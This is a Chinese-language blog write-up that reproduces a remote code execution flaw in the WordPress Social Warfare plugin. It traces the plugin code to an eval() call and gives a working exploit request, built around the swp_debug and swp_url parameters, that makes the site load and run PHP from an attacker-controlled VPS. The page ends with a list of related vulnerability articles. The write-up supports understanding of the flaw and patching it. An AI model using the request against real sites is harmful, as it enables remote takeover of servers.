WordPress Social Warfare组件 远程代码漏洞执行详细复现
0x00前言
今天在知道创宇上发现3月26日提交WordPress XSS和远程代码执行漏洞,于是试着复现了下远程代码执行漏洞
该漏洞源于Social Warfare组件,并且版本<=3.5.2、且要是管理员登录状态,因此该漏洞是个后台代码执行
漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/
利用需一台能够被访问的vps
0x01环境搭建
我是采用的windows下的phpstudy,php版本为5.4
WordPress版本是最新版本https://wordpress.org/download/
Social Warfare版本是3.5.1(官方已经更新到了3.5.4)https://downloads.wordpress.org/plugin/social-warfare.3.5.1.zip
下载下来分别解压后,把social-warfare放在\wordpress\wp-content\plugins\目录下

安装好WordPress后,把social-warfare组件起用(点Activate后,会变成Settings,并在左侧目录下出现Social Warfare子目录)

0x02 漏洞分析
浏览报告的时候,明确是\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php中的debug_parameters()调用了eval(),并未对options进行明显过滤
首先下在eval处个断点

找到$array传入前$options的地方下个断点

往回找到调用了debug_parameters()的地方\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php中的init()方法,该方法又被__construct()调用

继续寻找调用的SWP_Database_Migration类的\wordpress\wp-content\plugins\social-warfare\lib\utilities\Social_Warfare.php中的Social_Warfare类的instantiate_classes()方法的202行初始化了SWP_Database_Migration()类

instantiate_classes()方法又被Social_Warfare类的初始init()方法调用,并init()被该类的__construct()调用

最后Social_Warfare类被\wordpress\wp-content\plugins\social-warfare\social-warfare.php调用

在后台添加过Social Warfare组件后,wordpress在访问时,大部分都会包含这个social-warfare.php文件,因此逐步跟进下寻找到触发漏洞利用点eval()参数
在\wordpress\wp-content\plugins\social-warfare\lib\utilities\SWP_Database_Migration.php处有个判定

跟进一下SWP_Utility:debug这个方法,要求GET参数中要有swp_debug参数,并值要和$key相同,而$key也就是传入的'load_options'

之后会判断是否是管理员,如果不是就会退出,所以需要在后台管理员状态登录,我测试了下在首页不能过这个点

这里我是在/wp-admin/目录下进行的debug调试操作,进行运行,到了漏洞参数传入的地方,因为file_get_contents是能够远程加载文件的,并且文件路径可控,因为把payload以txt文件格式传到自己的vps上即可

剪切远程加载的代码逻辑如下,<pre>xxxxx</pre>会去掉<pre>和</pre>,如果不包含这2个标签会返回false
0x03漏洞复现
在远程的vps上payload如下
<pre>phpinfo()</pre>

最后的请求的url头如下
http://127.0.0.1/wordpress/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://vpsi/wordpress_social_warfare_payload.txt
本地测试成功返回了phpinfo信息

0x04 修复建议
因为该漏洞利用成功版本在Social Warfare<=3.5.2,所有更新到3.5.3及以上即可避免
ps:文章投稿给freebuf还在待审核.................
WordPress Social Warfare组件 远程代码漏洞执行详细复现的更多相关文章
- ThinkPHP5 核心类 Request 远程代码漏洞分析
ThinkPHP5 核心类 Request 远程代码漏洞分析 先说下xdebug+phpstorm审计环境搭建: php.ini添加如下配置,在phpinfo页面验证是否添加成功. [XDebug] ...
- Weblogic CVE-2018-3191远程代码命令执行漏洞复现
0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...
- python3下载远程代码并执行
第一步: 先在gist之类的网站上贴上代码,目的不是高亮,而可以raw的形式获取代码,这样可以省掉处理html的时间,我这里用的是pasteraw: 远程上的代码:http://cdn.pastera ...
- WordPress 3.5.1远程代码执行漏洞
漏洞版本: WordPress 3.5.1 漏洞描述: WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志.也可以把 WordPre ...
- 泛微e-cology OA Beanshell组件远程代码执行漏洞复现CNNVD-201909-1041
靶机 影响版本 泛微e-cology<=9.0 https://github.com/jas502n/e-cology 部署 复现 /weaver/bsh.servlet.BshServlet ...
- CVE-2021-3129:Laravel远程代码漏洞复现分析
摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...
- CVE-2017-7269-iis远程溢出漏洞复现
##01漏洞描述 cve_2017_7269漏洞属于高危漏洞,是由Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)发现的.IIS 6.0开启Webdav服 ...
- 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)
[2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...
- Spring框架的反序列化远程代码执行漏洞分析(转)
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
随机推荐
- 【batch】批处理文件多参数处理和for循环字符串连接
batch文件写起来,酸爽不谈了.[1]今天在github上发现个好东西batsh,运行地址:https://batsh.org/.[1] 这里需求的场景是:调用run.bat脚本并传入多个参数(相对 ...
- SpringCloud注册中心(Eureka)
注册中心的作用就是用来方便接口暴露出来的一个管理工具,如果所有的接口只是暴露出来,没有一个同一的管理工具,又有谁知道你暴露了哪些接口了,Eureka是一个springcloud的服务注册和发现模块 搭 ...
- Python学习【第2篇】:Python数据结构
Python数据结构 1.数字类型 2.字符串 3.列表 4.元组 5.字典 6.集合
- 【linux】Linux误删C基本运行库libc.so.6急救方法
转自:http://www.cnblogs.com/fjping0606/p/4551475.html 下面全文都是拷贝的上面链接的内容. 首先普及一下关于libc.so.6的基本常识: libc.s ...
- Niagara物联网框架机制一(笔记)
一.介绍: Niagara是Tridium公司研发的设计用于解决设备连接应的软件框架平台技术,应用框架是一个软件工程中的概念,不同于普通的软件,它是用于实现某应用领域通用完备功能的底层服务,使用这种框 ...
- cf1106E 线性dp+multiset
之前看错题目了,以为父亲的选择时按最大收益来的.结果并不是 /*注意题目中说只要某个时间父亲可以取得红包,他就取硬币数最多同时耗时最小的那个就是不管后续如何,不一定满足最大收益 dp[i][j]表示时 ...
- requests中get和post传参
get请求 get(url, params=None, **kwargs) requests实现get请求传参的两种方式 方式一: import requests url = 'http://www. ...
- Centos7上vsftp脚本--> sh vsftp.sh 用户名 密码 --> sh vsftp.sh install
#!/bin/bash #vsftp install . /etc/rc.d/init.d/functions users=/etc/vsftpd/vftpuser.txt login=/etc/vs ...
- (转)webpack和webpack-simple区别(如何引入css文件)
博主最近研究vue+webpack的时候想引入css文件死活引入不出来,在webpack-simple那里却能引得出来,十分的纳闷,然后细心的调试了一下,原来这webpack和webpack-simp ...
- jquery 笔记 点击周围区域子类隐藏,点击子类内部的信息 不隐藏
zilei.click(ev){ var e = ev||event; e.stopPropagation(); //dosomething } $(document).click(function( ...